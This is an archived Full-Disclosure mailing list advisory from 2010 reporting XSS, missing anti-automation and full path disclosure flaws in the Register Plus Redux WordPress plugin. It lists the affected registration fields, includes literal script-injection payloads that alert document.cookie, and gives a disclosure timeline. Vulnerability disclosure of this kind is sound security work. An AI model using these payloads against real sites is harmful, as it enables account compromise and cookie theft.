full-disclosure - Vulnerabilities in Register Plus Redux for WordPress

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 3 Dec 2010 19:19:29 +0200
From: "MustLive" <mustlive@...security.com.ua>
To: <full-disclosure@...ts.grok.org.uk>
Subject: Vulnerabilities in Register Plus Redux for
	WordPress

Hello Full-Disclosure!

I want to warn you about Cross-Site Scripting, Insufficient Anti-automation
and Full path disclosure vulnerabilities in plugin Register Plus Redux for
WordPress. Register Plus Redux is a fork of plugin Register Plus.

-------------------------
Affected products:
-------------------------

Vulnerable are versions of plugin Register Plus Redux 3.6.1 and previous
versions.

----------
Details:
----------

XSS (WASC-08):

POST request at page http://site/wp-login.php?action=register

"><script>alert(document.cookie)</script>
In fields: First Name, Last Name, Website, AIM, Yahoo IM, Jabber / Google
Talk, Password, Confirm Password.

</textarea><script>alert(document.cookie)</script>
In field: About Yourself.

Insufficient Anti-automation (WASC-21):

http://site/wp-login.php?action=register

In registration form there is no protection from automated requests
(captcha).

Full path disclosure (WASC-13):

http://site/wp-content/plugins/register-plus-redux/dash_widget.php

http://site/wp-content/plugins/register-plus-redux/register-plus-redux.php

At POST request at page http://site/wp-login.php?action=register.

------------
Timeline:
------------

2010.09.18 - announced at my site.
2010.09.19 - informed developer.
2010.12.02 - disclosed at my site.

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/4542/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/